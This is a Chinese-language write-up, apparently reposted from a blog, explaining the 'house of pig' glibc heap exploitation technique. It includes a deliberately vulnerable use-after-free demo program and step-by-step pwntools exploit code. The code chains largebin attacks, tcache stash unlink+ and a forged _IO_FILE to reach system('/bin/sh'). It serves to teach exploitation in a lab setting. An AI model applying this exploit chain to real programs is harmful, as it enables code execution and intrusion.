house of pig

news2024/9/22 15:26:24

文章目录

  • house of pig
    • 介绍:
      • 利用条件:
      • 利用流程:
    • 例题:
      • 利用:
    • 总结:

house of pig

介绍:

  1. House of Pig 是一个将 Tcache Stash Unlink+ AttackFSOP 结合的攻击,同时使用到了 Largebin Attack 进行辅助。主要适用于 libc 2.31 及以后的新版本 libc 并且程序中仅有 calloc 来申请chunk时。(因为 calloc 函数会跳过 tcache,无法完成常规的 tcache attack 等利用,同时,因为程序中没有 malloc 函数也无法在正常的 tcache stashing unlink attack 之后,将放入 tcache 中的 fake chunk 给申请出来 )。

利用条件:

  1. 存在 UAF

  2. 执行 abort 流程或程序显式调用 exit程序能通过主函数返回。

  3. 主要利用的函数为 _IO_str_overflow

  4. 显示调用exit,是为了触发 _ IO_flush_all_lockp ,看一下exit函数调用直到_IO_flush_all_lockp时的backtrace:

    image-20240828130102475

    IO调用链:exit -->__run_exit_handlers --> _IO_cleanup --> _IO_flush_all_lockp

利用流程:

  1. 申请到包含free_hook的chunk:先利用一次large bin attack,向_free_hook-0x8写入一个堆地址 ** 。再进行一个 Tcache Stash Unlink+ 攻击,把地址 __free_hook - 0x10 写入 tcache_pthread_struct。由于该攻击要求 __free_hook - 0x8 ((__free_hook - 0x10)->bk) 处存储一个指向可写内存的指针**,所以在此之前需要进行一次 large bin attack (任意地址写入一个堆地址)。
  2. 伪造IO_FILE,挟持程序:再进行一个 large bin attack,修改 _IO_list_all 为一个堆地址,然后在该处伪造 _IO_FILE 结构体。
  3. 通过伪造的结构体触发 _IO_str_overflow getshell。

注意在 2.31 下的 largbin attack 和老版本有一定区别,只有一条线路有用:可以看我写的这篇文章 Large Bin Attack 源码调试

例题:

  1. demo源码,我这里直接使用glibc2.29的环境了,只打house of pig:

    //gcc -o pig pig.c
    
    #include<stdio.h> 
    #include <unistd.h> 
    #include <stdlib.h>
    
    #define MAXIDX 5 
    void init()
    {
    	setbuf(stdin, 0);
    	setbuf(stdout, 0);
    	setbuf(stderr, 0);
    }
    
    void menu()
    {
    	puts("1.add");
    	puts("2.edit");
    	puts("3.show");
    	puts("4.delete");
    	puts("5.exit");
    	printf("Your choice:");
    }
    
    char *list[MAXIDX];
    size_t sz[MAXIDX];
    
    int add()
    {
    	int idx,size;
    	printf("Idx:");
    	scanf("%d",&idx);
    	if(idx<0 || idx>=MAXIDX)
    		exit(1);
    	printf("Size:");
    	scanf("%d",&size);
    	if(size<0x80||size>0x500)
    		exit(1);
    	list[idx] = (char*)calloc(size,1);
    	sz[idx] = size;
    }
    
    int edit()
    {
    	int idx;
    	printf("Idx:");
    	scanf("%d",&idx);
    	if(idx<0 || idx>=MAXIDX)
    		exit(1);
    	puts("context: ");
    	read(0,list[idx],sz[idx]);
    }
    
    int delete()
    {
    	int idx;
    	printf("Idx:");
    	scanf("%d",&idx);
    	if(idx<0 || idx>=MAXIDX)
    		exit(1);
    		
    	free(list[idx]);
    }
    
    int show()
    {
    	int idx;
    	printf("Idx:");
    	scanf("%d",&idx);
    	if(idx<0 || idx>=MAXIDX)
    		exit(1);
    		
    	printf("context: ");
    	puts(list[idx]);
    }
    
    
    int main(void)
    {
    	int choice;
    	init();
    	while(1){
    		menu();
    		scanf("%d",&choice);
    		if(choice==5){
    			exit(0);
    		//	return 0;
    		}
    		else if(choice==1){
    			add();
    		}
    		else if(choice==2){
    			show();
    		}
    		else if(choice==3){
    			edit();
    		}
    		else if(choice==4){
    			delete();
    		}
    	}
    }
    
    
  2. 反编译看看结果,常见的UAF题,但是我们只用house of pig 来解题:

    image-20240828160207818

利用:

  1. 第一步先泄漏libc地址和堆地址:

    for i in range(0,7):
        add(0,0x87)
        free(0)
    show(0)
    p.recvuntil(b"context: ")
    heap_base = u64(p.recvuntil("\n")[:-1].ljust(8,b"\x00"))-0x520
    success("heap_base==:"+hex(heap_base))
    
    add(0,0x87)
    add(1,0x87)
    free(0)
    show(0)
    #泄漏libc
    p.recvuntil(b"context: ")
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
    
    IO_list_all_addr   = libc_base + libc.symbols["_IO_list_all"]
    _IO_str_jumps_addr = IO_list_all_addr + 0xFC0
    success("_IO_str_jumps_addr ==> " + hex(_IO_str_jumps_addr))
    success("IO_list_all_addr   ==> " + hex(IO_list_all_addr))
    
    #计算__free_hook和system地址
    malloc_hook_addr = libc_base+libc.sym["__malloc_hook"]
    success("malloc_hook_addr==>"+hex(malloc_hook_addr))
    system_addr = libc_base+libc.sym["system"]
    sh_addr = libc_base+next(libc.search("/bin/sh"))
    free_hook_addr = libc_base+libc.sym["__free_hook"]
    success("system_addr==>"+hex(system_addr))
    success("free_hook_addr==>"+hex(free_hook_addr))
    success("sh_addr==>"+hex(sh_addr))
    
  2. 准备tcache stash unlink + 攻击,将free_hook-0x10写入到tcache中。先进行第一次large bin attack,往free_hook-8上写入一个堆地址,并安排好small bin中的两个chunk,还要准备好触发第二次large bin attack的chunk

    # ========== house of pig ==========
    
    for i in range(0,5):    #在tcache中放5个0xb0的chunk,后面tcache stash unlink +使用
        add(0,0xa0)
        free(0)
    
    add(1,0x87)     # 隔开
    # 先构造好 tcache stash unlink + 
    # 构造两个small bin大小为0xa0,与前面tcache中的对应
    # 用这里的chunk3和chunk4 切割出两个small bin大小为0xa0
    add(3,0x430)
    add(1,0x87)     # 隔开
    add(4,0x430)
    add(1,0x87)     # 隔开
    free(3)
    free(4)
    add(1,0x430-0xb0)
    add(2,0x430-0xb0)
    
    # ========== 第一次 large bin attack ==========
    # 先完成tcache stash unlink + 攻击的前提条件 : 往free_hook写入一个堆地址
    add(2,0x410)    # 触发第一次的 large bin attack 的chunk
    add(1,0xc0)     # 隔开 
    add(0,0x420)    # 构造 large bin attack
    add(1,0xc0)     # 隔开
    for i in range(8):
        add(4,0x400)    # 触发第二次的 large bin attack ,因为0x410大小的chunk会进入tcache,所以先占满
        free(4)
    add(1,0x400)
    free(0)
    add(1,0x430)    # 将chunk0放入large bin中
    
    target_addr = free_hook_addr-0x28
    payload0 = p64(addr + 0x3f0)*2 + p64(0) + p64(target_addr)
    edit(0,payload0)
    free(2)
    add(1,0x430)    # 将chunk1放入large bin中,触发attack 向target_addr写入堆地址
    
    # 构造 tcache stash unlink + 中small bin的bk指针 同时要保证small bin第一个chunk的链完整性
    fake_addr = target_addr + 8
    payload = p64(0)*113 + p64(0xb1) + p64(heap_base + 0x1320) + p64(fake_addr)
    edit(3,payload)
    
    # 触发 tcache stash unlink + 攻击 ,将包含free_hook的chunk放入tcache中 
    add(3,0xa0)     #申请一个small bin同等大小的chunk
    

    完成tcache stash unlink +的攻击条件:

    image-20240829113953412

    申请同大小的small bin chunk,进行tcache stash unlink +攻击:

    image-20240829114132904

  3. 进行第二次large bin attack,覆盖IO_list_all为堆地址:

    # ========== 第二次 large bin attack ==========
    target_addr = IO_list_all_addr-0x20
    payload = p64(0) + p64(heap_base + 0x1950)*2 + p64(target_addr)
    
    edit(0,payload)
    
    free(4)
    debug()
    add(1,0x430)    # 触发attack 向target_addr 即 _IO_list_all 写入当前堆地址
    

    image-20240829114308034

    成功覆盖掉IO_list_all:

    image-20240829114344784

    在该堆地址上伪造IO_FILE,满足条件:

    • _IO_write_ptr - _IO_write_base > _IO_buf_end - _IO_buf_base
    • _IO_buf_base要指向 ("/bin/sh\x00"字符串*2 + p64(system_addr))该处的地址
    • 这里我使用的small bin是0xb0,所以要保证 _IO_buf_end - _IO_buf_base = 0x1e ((0xa0 -100) /2)
    • 覆盖vtable为_IO_str_jumps
    # ========== 在当前堆chunk4上 构造FILE ==========
    file = p64(0) + p64(0)
    # _IO_write_base < _IO_write_ptr _IO_write_end
    file+= p64(0) + p64(0x50) + p64(0)
    # _IO_buf_base     _IO_buf_end
    file+= p64(heap_base + 0x3B08) + p64(heap_base + 0x3B08 + 0x1e)
    file+= b"/bin/sh\x00"*2 + p64(system_addr)
    file = file.ljust(0xc8,b"\x00")
    
    # vtable->_IO_str_jumps  
    file+= p64(_IO_str_jumps_addr)
    edit(4,file)
    

    伪造出来就是下面这个样子:

    image-20240829114940169

  4. 最后调用exit()函数就能get shell:

    上面伪造的IO_FILE和 _IO_flush_all_lockp中要满足的判断条件 重合,所以不用在考虑_IO_flush_all_lockp条件:

    image-20240829115241512

    进入_IO_str_overflow函数:

    前面的条件全部绕过,直接到申请malloc,大小是0xa0,所以会拿到0xb0的chunk:

    image-20240829115402033

    image-20240829115904555

    最后get shell:

    image-20240829115953204

总结:

  1. house of pig 的核心其实是利用large bin attach 任意地址写一个堆地址的功能,从而达成了tcache stash ulink +的利用条件,否则直接tcache stash ulink + attack是不能将任意地址的chunk放入tcache的。

  2. 这里仔细看一下tcache stash ulink + attack攻击过程中是如何利用到large bin attack写入的堆地址的:

    image-20240829120635134

    下面申请同大小的small bin:

    image-20240829121050687

    下面进入tcache的处理:

    这里保证tcache未满,且对应small bin中有剩余的chunk,因为第一个chunk已经被申请走了,所以这里的tc_victim就是我们修改了bk指针的chunk,后面的bck即为伪造的fake_chunk地址。

    image-20240829121155114

    由于tcache中剩余两个空位,所以下面再处理fake_chunk,将其植入tcache中:

    同理,这里的tc_victim就是fake_chunk,而bck就是我们使用large bin attack写入的那个堆地址 ,利用large bin attack 写入堆地址就是为了绕过bck->fd = bin; 让这个复制操作是合法的(这里往bck的fd上写了一个堆地址)。

    image-20240829121922267

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2085072.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MQ专题:事务消息的实现方式

方案 事务消息投递的过程 step1&#xff1a;开启本地事务step2&#xff1a;执行本地业务step3&#xff1a;消息表t_msg写入记录&#xff0c;status为0&#xff08;待投递到MQ&#xff09;step4&#xff1a;提交本地事务step5&#xff1a;若事务提交成功&#xff0c;则投递消息…

【原创教程】电气电工13:按钮开关指示灯篇

按钮开关在电气电工工作中,看似简单,但是有些细节问题,我们还是要注意的。电气电工工作是一个完整的体系,任何一件事疏忽,都会埋下安全隐患。 首先我们来看下 开关按钮的定义: 按钮开关是指利用按钮推动传动机构,使动触点与静触点按通或断开并实现电路换接的开关。按…

软件测试面试题!收藏起来,每天看一看,月薪20K!

初级测试总结题&#xff01;必背&#xff01;必背&#xff01;必背&#xff01; 1&#xff09;软件的概念&#xff1f; 软件是计算机系统中与硬件相互依存的一部分&#xff0c;包括程序、数据以及与其相关文档的完整集合。 2&#xff09;软件测试的概念&#xff1f; 使用人…

讲透一个强大的算法模型,Transformer

Transformer 模型是一种基于注意力机制的深度学习模型&#xff0c;广泛应用于自然语言处理&#xff08;NLP&#xff09;任务&#xff0c;如机器翻译、文本生成和语义理解。 它最初由 Vaswani 等人在2017年的论文《Attention is All You Need》中提出。它突破了传统序列模型&am…

搬运5款实用工具,帮你更好地完成各种任务

​ 在日常工作和生活中&#xff0c;使用各种工具来提升效率和简化任务变得尤为重要。本文将介绍几款实用的工具&#xff0c;帮助你更好地完成各种任务。 1. 自动化脚本——AutoHotkey ​ AutoHotkey是一款功能强大的自动化脚本编写工具&#xff0c;可以用来自动执行日常任务&…

【网络安全】漏洞挖掘

漏洞描述 Spring框架为现代基于java的企业应用程序(在任何类型的部署平台上)提供了一个全面的编程和配置模型。 Spring Cloud 中的 serveless框架 Spring Cloud Function 中的 RoutingFunction 类的 apply 方法将请求头中的“spring.cloud.function.routing-expression”参数…

餐饮_零售_麻辣烫_水果店_零食店_生鲜店等收银系统

介绍 多商户多门店的Sass收银系统。适用于餐饮_零售_麻辣烫_水果店_零食店_生鲜店等收银系统&#xff0c;包含windows收银pos端、商家小程序管理端、商家运营端、电子会员、电子小票 软件架构 收银Pos&#xff1a;vue2、node、electron、sqlite、antd 后端服务&#xff1a;spri…

【如何用本机的Navicat远程连接到ubuntu服务器上的mysql】

文章目录 版本一、ubuntu服务器安装mysql5二、远程连接——mysql配置1.创建新mysql用户2.修改配置文件3.查看端口是否开启 三、远程连接——Navicat 版本 mysql:5.7.32 服务器&#xff1a;ubuntu20.04 PC:win10 一、ubuntu服务器安装mysql5 因为ubuntu20.04默认mysql其实是my…

Windows超好用的命令行工具--Cmder 赶紧把cmd丢了吧!

简介 Cmder 是一个现代化的命令行工具可以智能提示&#xff0c;高亮显示文件夹… 1. 官网地址&#xff1a;Cmder下载地址 2. 滑倒最下面可以看到以下按钮 3. 解压到自己想要保存的地址&#xff08;⚠️记住这个路径&#xff09; 比如我解压到了C:\Cmder\Cmder.exe(⚠️不推…

变天了!24岁硕士年薪50万元,博士年薪200万起!人才缺口100万

从上海交大硕士毕业的00后表示&#xff0c;“24岁硕士毕业时年薪50万元&#xff0c;到了30岁大概能升到P7(注&#xff1a;职级名称&#xff09;&#xff0c;那时就能年薪百万了。” 他今年入职腾讯&#xff0c;担任AI算法工程师&#xff0c;成为AI风口下第一批就业的年轻人。 …

CUDA 内核函数

文章目录 一、简介二、实现代码三、实现效果参考资料 一、简介 CUDA为我们提供了可扩展的编程模型&#xff1a;它的核心是三个关键的抽象——线程组的层次结构、共享内存和阻塞同步——它们只是作为一组最小的语言扩展暴露给外部使用人员。这些抽象提供细粒度数据并行性和线程并…

MyBatis的学习————上篇

目录 一、MyBatis简介 1、MyBatis的历史 2、MyBatis的特性 3、和其它持久化层技术的比较 二、搭建MyBatis 1、开发环境 ​编辑2、创建Maven工程 3、创建MyBatis核心配置文件 4、创建mapper接口 5、创建Mybatis的映射文件 6、测试功能 7、功能优化 8、修改和删除方…

重生奇迹MU最合适PK的几个职业

重生奇迹MU是一款备受玩家青睐的经典游戏&#xff0c;其中的PK系统更是吸引了众多玩家的关注。在众多职业中&#xff0c;哪些职业最适合PK呢&#xff1f; PK作为重生奇迹MU的一种娱乐方式&#xff0c;已成为该游戏核心系统之一&#xff0c;并在多年的流行中仍能带给玩家许多乐…

python正则表达式的一些问题

&#x1f3c6;本文收录于《CSDN问答解惑-专业版》专栏&#xff0c;主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案&#xff0c;希望能够助你一臂之力&#xff0c;帮你早日登顶实现财富自由&#x1f680;&#xff1b;同时&#xff0c;欢迎大家关注&&收…

Matplotlib中twinx() 函数的用法

ax1.twinx() 是 Matplotlib 库中的一个函数&#xff0c;用于在同一个图中创建一个共享 x 轴但具有独立 y 轴的双 y 轴图表。这个函数非常适合用来在同一张图中绘制两组具有不同 y 轴度量的变量&#xff0c;使得它们可以共享 x 轴&#xff0c;但彼此之间有不同的 y 轴尺度。 ax…

SpringBoot日常:Spring扩展接口之InitializingBean

文章目录 简介源码分析应用场景代码示例运行示例 简介 这篇文章主要介绍了Spring中InitializingBean的使用详细解析&#xff0c;InitializingBean是Spring提供的拓展性接口&#xff0c;提供了属性初始化后的处理方法,它只有一个afterPropertiesSet方法&#xff0c;凡是继承该接…

中断的引入

中断系统是为使CPU具有对外界紧总事件的实时处理能力而设置的 当中央处理机CPU正在处理某件事的时候外界发生了紧急事件请求&#xff0c;要求CPU暂停当前的工作&#xff0c;转而去处理这个紧急事件&#xff0c;处理完以后&#xff0c;再回到原来被中断的地方&#xff0c;继续原…

进程间的同步与互斥

1、计数信号量及其初始化 由于事件发生的次数可能不止一次&#xff0c;或者资源可用的数量可能不止一个&#xff0c;因此&#xff0c;信号量内部会维护一个计数器&#xff0c;用于表示某种事件发生的次数或者某种资源可用的数量。 信号量至少提供两种操作&#xff1a;一种等待…

flutter 手写时钟

前言&#xff1a; 之前看过别人写的 js实现的 时钟表盘 挺有意思的&#xff0c;看着挺好 这边打算自己手动实现以下。顺便记录下实现过程&#xff1a;大致效果如下&#xff1a; 主要技术点&#xff1a; 表盘内样 倒角&#xff1a; 表盘下半部分是有一点倒角的感觉&#xff0c;…

YOLOv8独家改进:轻量化改进 | 高效移动应用的卷积加性自注意Vision Transformer

💡💡💡本文独家改进:轻量化改进之高效移动应用的卷积加性自注意Vision Transformer,构建了一个新颖且高效实现方式——卷积加性相似度函数,并提出了一种名为卷积加性标记混合器(CATM) 的简化方法来降低计算开销 💡💡💡性能比较:计算量参数量均有一定程度降低…